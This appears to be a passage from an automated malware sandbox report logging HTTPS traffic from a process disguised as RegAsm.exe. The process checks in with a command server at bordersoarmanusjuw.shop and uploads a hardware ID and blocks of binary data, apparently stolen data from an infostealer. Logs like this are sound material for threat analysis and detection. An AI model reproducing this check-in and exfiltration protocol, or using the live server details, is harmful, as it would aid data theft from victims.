Apr 19, 2024 07:22:29.824047089 CEST	1.1.1.1	192.168.2.8	0xdcee	No error (0)	bordersoarmanusjuw.shop		104.21.9.123	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bordersoarmanusjuw.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	172.67.189.66	443	6796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 05:22:30 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bordersoarmanusjuw.shop
2024-04-19 05:22:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-19 05:22:30 UTC	824	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 05:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tvdpp1pplqr08mp0mo8kdmtcgt; expires=Mon, 12-Aug-2024 23:09:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tfFmUi7DKtm8FysA1%2FxNw4F0dcFcwVA1%2FsTSYvx3h1ehVK%2ByjdgCTyBDV2kQG18Ol80FB%2F%2B31kn2cQjldBC9D7alB04%2BUJ2%2FqYm465V9GQ8WmwjwhfQ3%2FG%2BXXCkqAXcQmCTeYQl8VmxrSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876a750b08a7be15-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 05:22:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-19 05:22:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	172.67.189.66	443	6796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 05:22:30 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: bordersoarmanusjuw.shop
2024-04-19 05:22:30 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-04-19 05:22:31 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 05:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8oa4t45jin41s2c58h1i7upq6k; expires=Mon, 12-Aug-2024 23:09:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JSS0TJPXr%2BQ8GE2VO8qCODYG8MeVx7sDJz2egVJcDsdGEhZ9VprhRl3YU6AUGFBCXy%2BGQDLnLuxkNc6OKXykM3h1g1PdD2l1wvFQAZlYz4IMEdgXuoDcDFj5Peybtp9l5K987qg3pqSVUg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876a750fe8634589-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 05:22:31 UTC	559	IN	Data Raw: 34 65 65 38 0d 0a 43 48 50 6e 6e 66 43 6c 35 4d 62 46 34 67 7a 48 75 58 53 32 54 30 6f 35 76 68 2b 61 37 66 4c 6c 76 47 69 32 42 42 34 48 51 32 35 7a 66 75 32 39 30 49 58 45 35 4c 50 41 4e 75 65 4e 57 4c 74 46 61 68 6d 65 50 37 69 65 6c 38 65 47 53 4d 4a 32 61 32 4a 76 59 77 4a 54 78 37 33 51 68 34 57 69 35 39 67 73 6f 64 67 59 78 53 70 6d 4d 35 34 2f 75 73 33 51 69 4d 52 4b 6a 43 52 46 44 57 4e 4f 4b 46 50 48 76 59 75 6f 37 75 62 6c 77 69 7a 6e 6d 56 53 57 62 53 39 58 6e 43 57 36 7a 34 57 41 33 67 33 4f 63 48 74 70 4d 41 64 6e 48 61 66 77 6c 64 47 46 71 36 53 52 5a 2b 6e 51 47 35 52 6a 52 7a 4f 65 50 37 72 4e 30 73 57 63 53 4a 52 68 5a 43 56 35 54 69 6f 2b 67 75 6d 52 36 49 57 31 72 73 41 67 7a 62 42 57 30 7a 74 6f 41 35 34 39 78 73 2b 43 68 4d 34 4a 32 Data Ascii: 4ee8CHPnnfCl5MbF4gzHuXS2T0o5vh+a7fLlvGi2BB4HQ25zfu290IXE5LPANueNWLtFahmeP7iel8eGSMJ2a2JvYwJTx73Qh4Wi59gsodgYxSpmM54/us3QiMRKjCRFDWNOKFPHvYuo7ublwiznmVSWbS9XnCW6z4WA3g3OcHtpMAdnHafwldGFq6SRZ+nQG5RjRzOeP7rN0sWcSJRhZCV5Tio+gumR6IW1rsAgzbBW0ztoA549xs+ChM4J2
2024-04-19 05:22:31 UTC	1369	IN	Data Raw: 55 34 71 4d 5a 58 38 6b 64 4f 4c 74 65 66 76 42 75 65 5a 56 4a 5a 76 61 6b 53 53 45 70 44 4e 30 73 57 63 53 4a 5a 2f 45 77 31 6a 54 69 68 54 78 37 33 51 68 63 61 6a 71 38 41 32 35 35 73 51 32 69 77 6c 57 38 35 31 38 34 53 56 6c 64 55 44 32 57 74 38 61 43 73 44 61 52 47 43 39 5a 6a 49 6a 4b 43 71 6a 57 69 6c 32 31 61 61 51 6b 41 5a 6e 6a 2b 36 7a 64 4c 46 6e 45 72 54 66 6a 77 39 59 30 78 4a 46 4a 58 34 6e 74 48 45 6e 75 66 76 42 75 65 5a 56 4a 5a 76 61 6b 53 53 46 72 72 4e 2f 2b 2b 63 53 4a 59 6b 50 69 63 34 59 77 4a 54 78 37 33 51 68 63 54 6d 35 63 42 70 71 5a 74 4f 6c 6d 30 67 58 74 39 2b 38 34 43 54 6a 39 55 59 31 48 52 36 61 43 51 65 62 42 53 4c 39 5a 48 56 6a 4b 71 68 67 32 65 75 30 68 50 54 4b 57 67 56 73 78 57 36 7a 64 4c 46 6e 45 69 57 4a 44 78 69 Data Ascii: U4qMZX8kdOLtefvBueZVJZvakSSEpDN0sWcSJZ/Ew1jTihTx73Qhcajq8A255sQ2iwlW85184SVldUD2Wt8aCsDaRGC9ZjIjKCqjWil21aaQkAZnj+6zdLFnErTfjw9Y0xJFJX4ntHEnufvBueZVJZvakSSFrrN/++cSJYkPic4YwJTx73QhcTm5cBpqZtOlm0gXt9+84CTj9UY1HR6aCQebBSL9ZHVjKqhg2eu0hPTKWgVsxW6zdLFnEiWJDxi
2024-04-19 05:22:31 UTC	1369	IN	Data Raw: 43 49 38 35 76 45 69 71 69 76 6a 57 4b 68 31 42 37 63 4c 69 42 4a 30 6e 50 2b 69 5a 43 43 6e 6b 53 37 44 6a 34 6e 59 30 34 6f 55 38 65 39 30 73 43 65 35 50 2f 43 4c 6f 48 56 41 63 41 6d 61 6d 37 66 63 2f 61 49 68 73 65 78 59 70 59 6b 50 69 64 6a 54 6e 56 66 36 70 66 51 68 63 54 6d 35 63 4a 33 79 72 4e 55 6c 6d 39 71 47 5a 34 2f 75 73 2b 58 69 35 35 53 6c 69 5a 79 61 43 6f 41 62 52 69 45 2f 4a 4c 4e 69 4b 75 74 69 47 61 6c 31 68 66 66 4a 53 35 57 31 33 4c 33 69 4a 69 45 30 67 2f 5a 5a 54 77 72 54 6d 51 6f 55 38 65 39 30 49 58 45 35 75 65 48 64 75 57 44 56 4a 51 49 4a 6c 6a 4e 62 4c 71 36 6b 34 6e 51 44 63 49 6d 45 77 31 6a 54 69 68 54 78 37 32 4e 69 65 6e 4d 35 63 49 73 35 35 6c 55 7a 55 4a 41 47 5a 34 2f 75 73 33 53 78 5a 78 4b 30 32 6f 38 50 57 4e 4d 59 Data Ascii: CI85vEiqivjWKh1B7cLiBJ0nP+iZCCnkS7Dj4nY04oU8e90sCe5P/CLoHVAcAmam7fc/aIhsexYpYkPidjTnVf6pfQhcTm5cJ3yrNUlm9qGZ4/us+Xi55SliZyaCoAbRiE/JLNiKutiGal1hffJS5W13L3iJiE0g/ZZTwrTmQoU8e90IXE5ueHduWDVJQIJljNbLq6k4nQDcImEw1jTihTx72NienM5cIs55lUzUJAGZ4/us3SxZxK02o8PWNMY
2024-04-19 05:22:31 UTC	1369	IN	Data Raw: 51 68 63 54 6d 35 63 49 75 6f 73 4e 57 6a 47 39 6f 62 63 78 77 39 4b 47 62 69 39 64 4b 75 77 34 2b 4a 32 4e 4f 4b 46 4f 61 73 66 32 76 78 4f 62 6c 77 69 7a 6e 77 6e 6d 38 62 32 6f 5a 6e 6a 2b 36 7a 64 4c 48 32 51 61 55 50 6a 34 6c 4a 51 42 69 47 34 72 32 6d 4d 32 4a 72 61 65 49 5a 36 7a 59 46 74 67 72 4b 56 66 51 63 50 32 4d 6c 59 72 62 43 74 68 68 65 32 52 68 51 67 56 35 78 37 33 51 68 63 54 6d 35 63 49 75 6f 73 4e 57 6a 47 39 6f 61 39 46 78 38 34 50 53 73 74 30 45 32 6d 46 71 4a 55 35 6b 4b 46 50 48 76 64 43 46 6d 65 72 49 36 43 7a 6e 6d 56 53 57 62 7a 45 30 74 44 2b 36 7a 64 4c 46 6e 45 69 57 4a 6e 74 70 59 56 51 6f 55 59 72 2b 6e 38 32 4e 71 71 75 42 62 71 48 59 48 4e 51 69 4c 56 33 55 64 50 69 64 6c 34 6a 66 43 39 39 74 63 57 73 6b 44 57 38 57 78 62 Data Ascii: QhcTm5cIuosNWjG9obcxw9KGbi9dKuw4+J2NOKFOasf2vxOblwiznwnm8b2oZnj+6zdLH2QaUPj4lJQBiG4r2mM2JraeIZ6zYFtgrKVfQcP2MlYrbCthhe2RhQgV5x73QhcTm5cIuosNWjG9oa9Fx84PSst0E2mFqJU5kKFPHvdCFmerI6CznmVSWbzE0tD+6zdLFnEiWJntpYVQoUYr+n82NqquBbqHYHNQiLV3UdPidl4jfC99tcWskDW8Wxb
2024-04-19 05:22:31 UTC	1369	IN	Data Raw: 35 50 2f 43 4c 71 48 51 48 4e 30 75 49 56 2f 52 66 66 47 41 6d 59 2f 54 41 73 5a 6e 64 6e 63 6c 43 57 73 65 6a 2f 75 61 79 34 6d 6f 6f 35 4a 6c 35 5a 56 35 76 47 39 71 47 5a 34 2f 75 73 33 53 78 39 6b 53 6c 44 34 2b 4a 51 45 48 66 44 4b 58 37 64 4b 6f 37 75 62 6c 77 69 7a 6e 6d 51 6d 61 51 6b 41 5a 6e 6a 2b 36 7a 64 4b 65 73 57 4b 57 4a 44 34 6e 59 30 34 6f 55 38 58 34 6e 6f 66 65 35 75 65 4a 59 71 54 61 48 4e 49 6d 4c 56 62 63 65 50 4b 49 6e 49 66 65 43 64 4a 67 63 57 30 70 41 47 59 53 69 50 71 57 31 5a 53 67 72 38 41 67 79 72 4e 55 6c 6d 39 71 47 5a 34 2f 75 73 2b 58 6e 35 35 53 6c 69 5a 33 55 43 38 61 4b 6e 37 74 76 64 43 46 78 4f 62 6c 6e 79 44 4b 73 31 53 57 62 32 6f 5a 6e 6d 53 58 35 39 4c 46 6e 45 69 57 4a 44 34 6e 59 51 74 6d 55 64 32 39 30 73 36 Data Ascii: 5P/CLqHQHN0uIV/RffGAmY/TAsZndnclCWsej/uay4moo5Jl5ZV5vG9qGZ4/us3Sx9kSlD4+JQEHfDKX7dKo7ublwiznmQmaQkAZnj+6zdKesWKWJD4nY04oU8X4nofe5ueJYqTaHNImLVbcePKInIfeCdJgcW0pAGYSiPqW1ZSgr8AgyrNUlm9qGZ4/us+Xn55SliZ3UC8aKn7tvdCFxOblnyDKs1SWb2oZnmSX59LFnEiWJD4nYQtmUd290s6
2024-04-19 05:22:31 UTC	1369	IN	Data Raw: 47 6d 68 32 78 50 61 4b 43 56 66 30 58 62 71 6e 5a 43 43 33 77 4c 54 64 48 42 76 4b 67 78 6b 45 6f 37 2f 6b 38 75 48 71 71 4b 4a 4c 75 75 30 66 70 5a 76 61 68 6d 65 50 37 72 4e 30 49 44 47 53 6f 77 6b 50 45 6f 69 48 48 77 61 68 76 50 53 71 4f 37 6d 35 63 49 73 35 35 6b 4a 6d 6b 5a 71 47 62 4d 56 6b 38 33 53 6e 72 46 69 6c 69 51 2b 4a 32 4e 4f 4b 46 50 46 2b 4a 36 48 33 75 62 6e 6a 47 4b 67 32 68 48 56 4a 43 68 59 7a 6e 72 34 69 35 75 49 30 67 54 59 62 58 64 75 49 67 5a 6a 45 6f 6e 35 6b 38 6d 47 71 71 66 41 49 4d 71 7a 56 4a 5a 76 61 68 6d 65 50 37 72 50 6c 35 2b 65 55 70 59 6d 58 47 34 33 47 57 6b 42 67 2f 69 65 68 2b 6e 4d 35 63 49 73 35 35 6c 55 79 32 4e 48 4d 37 63 2f 75 70 62 2f 37 35 78 49 6c 69 51 2b 4a 32 4e 4f 4b 68 61 4a 76 38 71 46 78 71 71 31 Data Ascii: Gmh2xPaKCVf0XbqnZCC3wLTdHBvKgxkEo7/k8uHqqKJLuu0fpZvahmeP7rN0IDGSowkPEoiHHwahvPSqO7m5cIs55kJmkZqGbMVk83SnrFiliQ+J2NOKFPF+J6H3ubnjGKg2hHVJChYznr4i5uI0gTYbXduIgZjEon5k8mGqqfAIMqzVJZvahmeP7rPl5+eUpYmXG43GWkBg/ieh+nM5cIs55lUy2NHM7c/upb/75xIliQ+J2NOKhaJv8qFxqq1
2024-04-19 05:22:31 UTC	1369	IN	Data Raw: 38 56 30 43 67 6e 57 74 31 37 36 6f 69 5a 6c 64 41 48 32 32 35 30 62 43 41 49 62 78 79 44 38 35 6a 47 67 61 71 70 69 43 37 72 74 48 36 57 62 32 6f 5a 6e 6a 2b 36 7a 64 43 41 78 6b 71 4d 4a 44 78 45 4d 52 64 34 42 34 6a 65 6e 38 6a 47 79 38 2f 43 4c 4f 65 5a 56 4a 59 79 5a 6a 43 65 50 35 66 6e 2b 38 57 63 5a 62 77 4e 50 69 64 4f 5a 43 68 54 78 37 33 51 68 5a 2f 4c 7a 38 49 73 35 35 6c 55 6c 6d 39 71 47 39 74 78 75 4e 66 53 78 39 63 59 30 47 74 75 62 43 59 43 5a 52 4b 58 2f 70 2f 4d 6c 4b 4f 6f 68 47 6d 70 33 52 6e 53 4c 43 31 52 30 48 72 39 68 4a 2b 4c 6e 6b 53 37 44 6a 34 6e 59 30 34 6f 55 38 65 39 30 73 43 65 35 50 2f 43 4c 6f 76 51 42 63 4d 75 4a 6c 44 4b 5a 72 6a 67 2b 4d 57 63 53 4a 59 6b 50 6e 70 76 59 77 4a 54 78 37 33 51 68 63 53 39 79 4f 67 73 35 Data Ascii: 8V0CgnWt176oiZldAH2250bCAIbxyD85jGgaqpiC7rtH6Wb2oZnj+6zdCAxkqMJDxEMRd4B4jen8jGy8/CLOeZVJYyZjCeP5fn+8WcZbwNPidOZChTx73QhZ/Lz8Is55lUlm9qG9txuNfSx9cY0GtubCYCZRKX/p/MlKOohGmp3RnSLC1R0Hr9hJ+LnkS7Dj4nY04oU8e90sCe5P/CLovQBcMuJlDKZrjg+MWcSJYkPnpvYwJTx73QhcS9yOgs5
2024-04-19 05:22:31 UTC	1369	IN	Data Raw: 46 61 68 6d 65 50 37 72 4e 69 65 69 32 53 4a 59 6b 50 69 64 6a 54 69 68 52 67 76 50 53 6e 38 54 6b 71 49 78 71 72 74 38 52 30 43 51 72 55 39 6c 77 2f 49 61 52 6a 39 63 4e 32 32 31 36 62 69 49 4c 61 78 79 45 38 35 76 50 67 61 37 6e 7a 67 48 4e 6d 56 53 57 62 32 6f 5a 6e 6a 2b 34 69 49 6a 48 68 6b 69 55 55 48 74 39 41 51 46 77 55 65 71 58 30 49 58 45 35 75 58 43 63 65 75 30 66 70 5a 76 61 68 6d 65 50 2b 48 67 2b 4d 57 63 53 4a 59 6b 50 69 64 6a 54 47 30 64 78 61 66 51 68 34 69 70 6f 59 46 76 72 64 4d 57 30 69 63 73 57 4e 56 2b 2f 34 61 57 6a 4e 30 41 32 32 46 36 59 53 45 48 62 52 2b 44 2b 70 6e 4f 78 75 72 49 36 43 7a 6e 6d 56 53 57 62 32 6f 5a 6e 48 72 67 7a 38 6a 46 6e 69 7a 33 64 47 35 58 4c 77 39 78 55 65 71 58 30 49 58 45 35 75 58 43 63 65 75 30 66 70 Data Ascii: FahmeP7rNiei2SJYkPidjTihRgvPSn8TkqIxqrt8R0CQrU9lw/IaRj9cN2216biILaxyE85vPga7nzgHNmVSWb2oZnj+4iIjHhkiUUHt9AQFwUeqX0IXE5uXCceu0fpZvahmeP+Hg+MWcSJYkPidjTG0dxafQh4ipoYFvrdMW0icsWNV+/4aWjN0A22F6YSEHbR+D+pnOxurI6CznmVSWb2oZnHrgz8jFniz3dG5XLw9xUeqX0IXE5uXCceu0fp
2024-04-19 05:22:31 UTC	1369	IN	Data Raw: 30 58 37 2b 69 64 44 4a 73 57 4b 57 4a 44 34 6e 59 30 34 6f 55 38 58 34 69 6f 66 65 35 75 65 67 64 61 6a 58 45 5a 52 43 51 42 6d 65 50 37 72 4e 30 70 69 51 5a 62 77 6b 50 69 64 6a 54 69 67 49 36 70 66 51 68 63 54 6d 35 63 49 73 35 35 73 52 32 47 31 77 47 5a 78 32 39 49 75 58 68 39 4d 4a 33 47 4e 34 62 79 51 4d 59 67 4f 4e 2f 35 58 56 6c 4b 53 75 68 57 4b 6d 32 78 4c 53 4a 43 35 59 32 44 32 32 34 50 6a 46 6e 45 69 57 4a 44 34 6e 59 30 78 74 43 63 57 6e 30 49 65 72 71 4b 43 70 61 62 36 62 65 62 78 76 61 68 6d 65 50 37 71 51 33 75 69 32 53 4a 59 6b 50 69 64 6a 46 51 56 35 78 37 33 51 68 63 54 6d 35 63 49 75 6f 74 64 57 6a 47 39 6f 57 74 64 33 39 34 4b 54 67 64 30 42 30 57 78 39 59 69 6b 42 65 42 4b 4b 38 4a 62 48 69 61 4b 68 67 57 47 6a 33 42 2f 56 4a 53 38 Data Ascii: 0X7+idDJsWKWJD4nY04oU8X4iofe5uegdajXEZRCQBmeP7rN0piQZbwkPidjTigI6pfQhcTm5cIs55sR2G1wGZx29IuXh9MJ3GN4byQMYgON/5XVlKSuhWKm2xLSJC5Y2D224PjFnEiWJD4nY0xtCcWn0IerqKCpab6bebxvahmeP7qQ3ui2SJYkPidjFQV5x73QhcTm5cIuotdWjG9oWtd394KTgd0B0Wx9YikBeBKK8JbHiaKhgWGj3B/VJS8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49709	172.67.189.66	443	6796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 05:22:31 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12841 Host: bordersoarmanusjuw.shop
2024-04-19 05:22:31 UTC	12841	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 34 30 32 34 37 30 43 35 30 45 44 43 34 33 38 33 36 34 46 30 32 32 36 43 31 32 46 33 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"68402470C50EDC438364F0226C12F33D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-19 05:22:32 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 05:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hedsq56rho4snjep9bssu5pju9; expires=Mon, 12-Aug-2024 23:09:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PZXncq9xuM6dgEAiBdHwSfKhRKZA4SESjMAI3zNkcmUJD6vv5n77fZSPdUgUlMHRfxldkFnBnx9rZo549qDqET%2BNU734yuOB6tu9EmDskHcsSVr2hbH6Q0frsxCHRli6%2B30MX15LM7X3Rw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876a7514182bade3-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 05:22:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-19 05:22:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49710	172.67.189.66	443	6796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 05:22:32 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15070 Host: bordersoarmanusjuw.shop
2024-04-19 05:22:32 UTC	15070	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 34 30 32 34 37 30 43 35 30 45 44 43 34 33 38 33 36 34 46 30 32 32 36 43 31 32 46 33 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"68402470C50EDC438364F0226C12F33D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-19 05:22:32 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 05:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=illuh6r2jnk8a2aml25g9h8lqp; expires=Mon, 12-Aug-2024 23:09:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nsp1yYHviEHmlXSHEqVVpRcBq4FX5AvFDF79fxk%2BQGzWc5DipZ7VonV3iT%2FdQbxAsNPoCUkzX1LXAkEnx2WZmFPZIx07P8Qy8dO31ycr6WCyKnKKRb35f0qRXwP4nAfcFd8sdTEeXYb6JA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876a751929bf451a-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 05:22:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-19 05:22:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49711	172.67.189.66	443	6796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 05:22:33 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20237 Host: bordersoarmanusjuw.shop
2024-04-19 05:22:33 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 34 30 32 34 37 30 43 35 30 45 44 43 34 33 38 33 36 34 46 30 32 32 36 43 31 32 46 33 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"68402470C50EDC438364F0226C12F33D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-19 05:22:33 UTC	4906	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 Data Ascii: 